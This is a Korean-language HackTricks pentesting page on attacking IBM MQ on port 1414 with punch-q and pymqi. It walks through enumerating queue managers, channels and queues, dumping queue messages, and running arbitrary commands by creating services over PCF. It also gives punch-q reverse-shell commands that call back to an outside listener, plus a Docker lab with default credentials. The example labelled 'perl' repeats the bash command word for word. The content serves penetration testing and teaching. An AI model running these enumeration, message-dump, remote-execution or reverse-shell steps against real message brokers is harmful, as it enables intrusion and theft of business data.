mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
334 lines
18 KiB
Markdown
334 lines
18 KiB
Markdown
# 1414 - Pentesting IBM MQ
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## 기본 정보
|
||
|
||
IBM MQ는 메시지 큐를 관리하기 위한 IBM 기술입니다. 다른 **메시지 브로커** 기술과 마찬가지로, 생산자와 소비자 간의 정보를 수신, 저장, 처리 및 분류하는 데 전념하고 있습니다.
|
||
|
||
기본적으로, **IBM MQ는 TCP 포트 1414를 노출합니다**. 때때로, HTTP REST API는 포트 **9443**에서 노출될 수 있습니다. 메트릭(프롬테우스)은 TCP 포트 **9157**에서 접근할 수 있습니다.
|
||
|
||
IBM MQ TCP 포트 1414는 메시지, 큐, 채널 등을 조작하는 데 사용될 수 있지만, **인스턴스를 제어하는 데도 사용될 수 있습니다**.
|
||
|
||
IBM은 [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq)에서 사용할 수 있는 방대한 기술 문서를 제공합니다.
|
||
|
||
## 도구
|
||
|
||
쉬운 익스플로잇을 위한 추천 도구는 **[punch-q](https://github.com/sensepost/punch-q)**로, Docker를 사용합니다. 이 도구는 Python 라이브러리 `pymqi`를 적극적으로 사용합니다.
|
||
|
||
보다 수동적인 접근 방식을 원한다면, Python 라이브러리 **[pymqi](https://github.com/dsuch/pymqi)**를 사용하세요. [IBM MQ 종속성](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc)이 필요합니다.
|
||
|
||
### pymqi 설치
|
||
|
||
**IBM MQ 종속성**을 설치하고 로드해야 합니다:
|
||
|
||
1. [https://login.ibm.com/](https://login.ibm.com/)에서 계정(IBMid)을 생성합니다.
|
||
2. [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-\*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc)에서 IBM MQ 라이브러리를 다운로드합니다. Linux x86_64의 경우 **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**입니다.
|
||
3. 압축을 풉니다 (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
|
||
4. `sudo ./mqlicense.sh`를 실행하여 라이센스 조건에 동의합니다.
|
||
|
||
> Kali Linux를 사용하는 경우, 파일 `mqlicense.sh`를 수정합니다: 다음 줄(105-110행 사이)을 제거/주석 처리합니다:
|
||
>
|
||
> ```bash
|
||
> if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
|
||
> then
|
||
> echo "ERROR: This package is incompatible with this system"
|
||
> echo " This package was built for ${BUILD_PLATFORM}"
|
||
> exit 1
|
||
> fi
|
||
> ```
|
||
|
||
5. 다음 패키지를 설치합니다:
|
||
```bash
|
||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
|
||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
|
||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
|
||
```
|
||
6. 그런 다음, `.so` 파일을 LD에 임시로 추가합니다: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **다른 도구를 이러한 종속성을 사용하여 실행하기 전에**.
|
||
|
||
그런 다음, 프로젝트 [**pymqi**](https://github.com/dsuch/pymqi)를 클론할 수 있습니다: 흥미로운 코드 스니펫, 상수 등이 포함되어 있습니다. 또는 라이브러리를 직접 설치할 수 있습니다: `pip install pymqi`.
|
||
|
||
### Using punch-q
|
||
|
||
#### With Docker
|
||
|
||
간단히 사용하세요: `sudo docker run --rm -ti leonjza/punch-q`.
|
||
|
||
#### Without Docker
|
||
|
||
프로젝트 [**punch-q**](https://github.com/sensepost/punch-q)를 클론한 다음, 설치를 위해 readme를 따르세요 (`pip install -r requirements.txt && python3 setup.py install`).
|
||
|
||
그 후, `punch-q` 명령으로 사용할 수 있습니다.
|
||
|
||
## Enumeration
|
||
|
||
**punch-q** 또는 **pymqi**를 사용하여 **큐 관리자 이름, 사용자, 채널 및 큐**를 열거해 볼 수 있습니다.
|
||
|
||
### Queue Manager
|
||
|
||
때때로, 큐 관리자 이름을 얻는 것에 대한 보호가 없습니다:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
|
||
Queue Manager name: MYQUEUEMGR
|
||
```
|
||
### Channels
|
||
|
||
**punch-q**는 기존 채널을 찾기 위해 내부(수정 가능한) 단어 목록을 사용합니다. 사용 예:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
|
||
"DEV.ADMIN.SVRCONN" exists and was authorised.
|
||
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
|
||
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
|
||
```
|
||
일부 IBM MQ 인스턴스는 **인증되지 않은** MQ 요청을 허용하므로 `--username / --password`가 필요하지 않습니다. 물론, 접근 권한은 다를 수 있습니다.
|
||
|
||
하나의 채널 이름(여기서는 `DEV.ADMIN.SVRCONN`)을 얻으면, 다른 모든 채널을 열거할 수 있습니다.
|
||
|
||
열거는 기본적으로 **pymqi**의 이 코드 스니펫 `code/examples/dis_channels.py`로 수행할 수 있습니다:
|
||
```python
|
||
import logging
|
||
import pymqi
|
||
|
||
logging.basicConfig(level=logging.INFO)
|
||
|
||
queue_manager = 'MYQUEUEMGR'
|
||
channel = 'DEV.ADMIN.SVRCONN'
|
||
host = '172.17.0.2'
|
||
port = '1414'
|
||
conn_info = '%s(%s)' % (host, port)
|
||
user = 'admin'
|
||
password = 'passw0rd'
|
||
|
||
prefix = '*'
|
||
|
||
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
|
||
|
||
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
|
||
pcf = pymqi.PCFExecute(qmgr)
|
||
|
||
try:
|
||
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
|
||
except pymqi.MQMIError as e:
|
||
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
|
||
logging.info('No channels matched prefix `%s`' % prefix)
|
||
else:
|
||
raise
|
||
else:
|
||
for channel_info in response:
|
||
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
|
||
logging.info('Found channel `%s`' % channel_name)
|
||
|
||
qmgr.disconnect()
|
||
|
||
```
|
||
... 하지만 **punch-q**는 그 부분도 포함하고 있습니다 (더 많은 정보와 함께!).
|
||
다음과 같이 실행할 수 있습니다:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
|
||
Showing channels with prefix: "*"...
|
||
|
||
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|
||
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
|
||
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
|
||
| DEV.APP.SVRCONN | Server-connection | app | | | | |
|
||
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
|
||
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
|
||
| SYSTEM.DEF.AMQP | AMQP | | | | | |
|
||
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
|
||
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
|
||
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
|
||
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
|
||
| SYSTEM.DEF.SENDER | Sender | | | | | |
|
||
| SYSTEM.DEF.SERVER | Server | | | | | |
|
||
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
|
||
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
|
||
```
|
||
### Queues
|
||
|
||
**pymqi** (`dis_queues.py`)와 함께 코드 스니펫이 있지만 **punch-q**는 큐에 대한 더 많은 정보를 검색할 수 있게 해줍니다:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
|
||
Showing queues with prefix: "*"...
|
||
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
|
||
| | | | | | GR Name | eue Nam | |
|
||
| | | | | | | e | |
|
||
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
|
||
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
|
||
| 0 18.35.1 | E | | | | | | |
|
||
| 9 | | | | | | | |
|
||
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
|
||
| 0 18.35.1 | | | | | | | |
|
||
| 9 | | | | | | | |
|
||
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
|
||
| 0 18.35.1 | | | | | | | |
|
||
| 9 | | | | | | | |
|
||
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
|
||
| 0 18.35.1 | | | | | | | |
|
||
| 9 | | | | | | | |
|
||
# Truncated
|
||
```
|
||
## Exploit
|
||
|
||
### Dump messages
|
||
|
||
큐(들)/채널(들)을 대상으로 하여 메시지를 스니핑하거나 덤프할 수 있습니다(비파괴적 작업). _예시:_
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
|
||
```
|
||
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
|
||
```
|
||
**모든 식별된 큐에 대해 반복하는 것을 주저하지 마십시오.**
|
||
|
||
### 코드 실행
|
||
|
||
> 계속하기 전에 몇 가지 세부정보: IBM MQ는 여러 방법으로 제어할 수 있습니다: MQSC, PCF, Control Command. 일반적인 목록은 [IBM MQ 문서](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison)에서 찾을 수 있습니다.
|
||
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_프로그래머블 커맨드 포맷_**)은 인스턴스와 원격으로 상호작용하기 위해 우리가 집중하는 것입니다. **punch-q**와 더불어 **pymqi**는 PCF 상호작용을 기반으로 합니다.
|
||
>
|
||
> PCF 명령 목록을 찾을 수 있습니다:
|
||
>
|
||
> - [PCF 문서에서](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), 및
|
||
> - [상수에서](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
|
||
>
|
||
> 흥미로운 명령 중 하나는 `MQCMD_CREATE_SERVICE`이며, 그 문서는 [여기](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms)에서 확인할 수 있습니다. 이 명령은 인스턴스의 로컬 프로그램을 가리키는 `StartCommand`를 인수로 사용합니다 (예: `/bin/sh`).
|
||
>
|
||
> 문서에는 이 명령에 대한 경고도 있습니다: _"주의: 이 명령은 사용자가 mqm 권한으로 임의의 명령을 실행할 수 있도록 허용합니다. 이 명령을 사용할 권한이 부여되면, 악의적이거나 부주의한 사용자가 시스템이나 데이터를 손상시키는 서비스를 정의할 수 있습니다. 예를 들어, 필수 파일을 삭제하는 것입니다."_
|
||
>
|
||
> _참고: 항상 IBM MQ 문서(관리 참조)에 따르면, 서비스 생성을 위한 동등한 MQSC 명령(`DEFINE SERVICE`)을 실행하기 위해 `/admin/action/qmgr/{qmgrName}/mqsc`에 HTTP 엔드포인트도 있습니다. 이 측면은 아직 여기에서 다루어지지 않았습니다._
|
||
|
||
원격 프로그램 실행을 위한 PCF를 사용한 서비스 생성/삭제는 **punch-q**로 수행할 수 있습니다:
|
||
|
||
**예제 1**
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
|
||
```
|
||
> IBM MQ의 로그에서 명령이 성공적으로 실행되었다고 읽을 수 있습니다:
|
||
>
|
||
> ```bash
|
||
> 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
|
||
> ```
|
||
|
||
기계에서 기존 프로그램을 나열할 수도 있습니다 (여기서 `/bin/doesnotexist` ... 존재하지 않습니다):
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
|
||
s "whatever"
|
||
Command: /bin/doesnotexist
|
||
Arguments: -c id
|
||
Service Name: 6e3ef5af652b4436
|
||
|
||
Creating service...
|
||
Starting service...
|
||
The program '/bin/doesnotexist' is not available on the remote system.
|
||
Giving the service 0 second(s) to live...
|
||
Cleaning up service...
|
||
Done
|
||
```
|
||
**프로그램 실행이 비동기적이라는 점에 유의하세요. 따라서 익스플로잇을 활용하기 위해 두 번째 항목이 필요합니다** **_(리버스 셸 리스너, 다른 서비스에서 파일 생성, 네트워크를 통한 데이터 유출 ...)_**
|
||
|
||
**예제 2**
|
||
|
||
쉬운 리버스 셸을 위해, **punch-q**는 두 가지 리버스 셸 페이로드를 제안합니다:
|
||
|
||
- 하나는 bash
|
||
- 하나는 perl
|
||
|
||
_물론 `execute` 명령어로 사용자 정의 페이로드를 만들 수 있습니다._
|
||
|
||
bash의 경우:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
||
```
|
||
Perl에 대해:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
||
```
|
||
### Custom PCF
|
||
|
||
IBM MQ 문서를 자세히 살펴보고 **pymqi** 파이썬 라이브러리를 사용하여 **punch-q**에 구현되지 않은 특정 PCF 명령을 테스트할 수 있습니다.
|
||
|
||
**Example:**
|
||
```python
|
||
import pymqi
|
||
|
||
queue_manager = 'MYQUEUEMGR'
|
||
channel = 'DEV.ADMIN.SVRCONN'
|
||
host = '172.17.0.2'
|
||
port = '1414'
|
||
conn_info = '%s(%s)' % (host, port)
|
||
user = 'admin'
|
||
password = 'passw0rd'
|
||
|
||
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
|
||
pcf = pymqi.PCFExecute(qmgr)
|
||
|
||
try:
|
||
# Replace here with your custom PCF args and command
|
||
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
|
||
args = {pymqi.CMQCFC.xxxxx: "value"}
|
||
response = pcf.MQCMD_CUSTOM_COMMAND(args)
|
||
except pymqi.MQMIError as e:
|
||
print("Error")
|
||
else:
|
||
# Process response
|
||
|
||
qmgr.disconnect()
|
||
|
||
```
|
||
상수 이름을 찾을 수 없는 경우, [IBM MQ 문서](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors)를 참조할 수 있습니다.
|
||
|
||
> _[`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster)의 예 (십진수 = 73). 매개변수 `MQCA_CLUSTER_NAME` (십진수 = 2029)이 필요하며, 이는 `_`일 수 있습니다 (문서: ):\*
|
||
>
|
||
> ```python
|
||
> import pymqi
|
||
>
|
||
> queue_manager = 'MYQUEUEMGR'
|
||
> channel = 'DEV.ADMIN.SVRCONN'
|
||
> host = '172.17.0.2'
|
||
> port = '1414'
|
||
> conn_info = '%s(%s)' % (host, port)
|
||
> user = 'admin'
|
||
> password = 'passw0rd'
|
||
>
|
||
> qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
|
||
> pcf = pymqi.PCFExecute(qmgr)
|
||
>
|
||
> try:
|
||
> args = {2029: "*"}
|
||
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
|
||
> except pymqi.MQMIError as e:
|
||
> print("Error")
|
||
> else:
|
||
> print(response)
|
||
>
|
||
> qmgr.disconnect()
|
||
> ```
|
||
|
||
## 테스트 환경
|
||
|
||
IBM MQ의 동작 및 익스플로잇을 테스트하려면 Docker를 기반으로 한 로컬 환경을 설정할 수 있습니다:
|
||
|
||
1. ibm.com 및 cloud.ibm.com에 계정이 있어야 합니다.
|
||
2. 다음을 사용하여 컨테이너화된 IBM MQ를 생성합니다:
|
||
```bash
|
||
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||
```
|
||
기본적으로 인증이 활성화되어 있으며, 사용자 이름은 `admin`이고 비밀번호는 `passw0rd`입니다 (환경 변수 `MQ_ADMIN_PASSWORD`). 여기서 큐 관리자 이름은 `MYQUEUEMGR`로 설정되어 있습니다 (변수 `MQ_QMGR_NAME`).
|
||
|
||
IBM MQ가 실행 중이며 포트가 노출되어 있어야 합니다:
|
||
```bash
|
||
❯ sudo docker ps
|
||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
|
||
```
|
||
> IBM MQ 도커 이미지의 이전 버전은 다음에 있습니다: https://hub.docker.com/r/ibmcom/mq/.
|
||
|
||
## References
|
||
|
||
- [mgeeky's gist - "Practical IBM MQ Penetration Testing notes"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||
- [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
|
||
- [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|